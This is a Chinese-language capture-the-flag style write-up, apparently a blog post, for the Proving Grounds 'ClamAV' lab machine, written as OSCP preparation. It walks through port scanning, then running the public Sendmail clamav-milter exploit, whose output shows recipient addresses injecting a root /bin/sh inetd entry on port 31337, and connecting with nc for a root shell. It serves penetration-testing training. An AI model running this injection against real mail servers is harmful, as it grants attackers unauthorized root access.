前言
在未来将会持续更新Proving Grounds Practice内的靶机Write Up,近期本人也通过了OSCP考试,所以将打靶的所有笔记共享出来,所有的靶机推荐来源于以下链接:https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159
不过其中有一些机器已经不在Proving Grounds Practice中了,所以就没有了Write Up,本系列将有大约40台左右的机器,如果你在练习过程中遇到了困难,建议先自己进行挖掘,然后再查看Write Up,始终需要记得:Try Harder。
本文结构
一般来说本系列的Write Up将以以下的结构来进行
-
端口扫描 -
网页枚举或端口枚举 -
突破入口 -
特权提升
靶机名称 ClamAV | 难度:Easy
端口枚举
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
199/tcp open smux
445/tcp open microsoft-ds
网页枚举
访问80端口的时候发现了一连串的二进制数字.
使用CyberChef
去转成可理解的字符串
ifyoudontpwnmeuran00b
但是尝试使用这个字符串去登录之后无果, 后面尝试去用searchsploit
查找相关的漏洞
┌──(aaron㉿aacai)-[~/Desktop/pg/glider]
└─$ searchsploit clamav
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution | multiple/remote/4761.pl
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
从searchsploit
下载下来.pl
的RCE脚本文件, 用perl
去利用
┌──(aaron㉿aacai)-[~/Desktop/pg/glider]
└─$ perl 4761.pl 192.168.178.42
Sendmail w/ clamav-milter Remote Root Exploit
Copyright (C) 2007 Eliteboy
Attacking 192.168.178.42...
220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Mon, 7 Aug 2023 03:30:09 -0400; (No UCE/UBE) logging access from: [192.168.45.155](FAIL)-[192.168.45.155]
250-localhost.localdomain Hello [192.168.45.155], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-DELIVERBY
250 HELP
250 2.1.0 <>... Sender ok
250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 3777U9if004267 Message accepted for delivery
221 2.0.0 localhost.localdomain closing connection
上面的输出结果表示31337
端口将会被打开, 使用nmap
扫描, 确实已经打开
┌──(aaron㉿aacai)-[~/Desktop/pg/glider]
└─$ nmap -p31337 192.168.178.42
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-07 08:05 +0430
Nmap scan report for 192.168.178.42
Host is up (0.23s latency).
PORT STATE SERVICE
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds
最后使用nc
去连接, 发现可以直接获取到root权限,所以并不需要进行提权
┌──(aaron㉿aacai)-[~/Desktop/pg/glider]
└─$ nc 192.168.178.42 31337
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
ls /root/proof.txt
/root/proof.txt
cat /root/proof.txt
cd51bf4074919c204c669df30e4656ac
END
OSCP(Offensive Security Certified Professional),中文称国际注册渗透测试专家认证,是由Offensive Security推出的200等级的证书,主要面向领域:渗透测试。
OSCP 证书是一种技术性证书,涵盖渗透测试和攻击技术方面。持有此证书的人员已通过对目标网络进行渗透测试并获得管理员访问权限的实际考试。该证书是由 Offense Security 出品,考试内容涉及网络渗透测试、漏洞挖掘、漏洞利用等方面。OSCP 考试难度较高,需要实际的技能和经验,持有此证书可证明持有人具有深入了解渗透测试及相关攻击技术的实际能力。
如果你觉得本篇文章对你有帮助,点个关注好不好呢,还可以点个在看,感谢你的支持:)))))))))))))
联系我
WeChat ID:wengchensmile
Email Address: [email protected](个人)
原文始发于微信公众号(Aaron与安全的那些事):Proving Grounds Practice- ClamAV
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论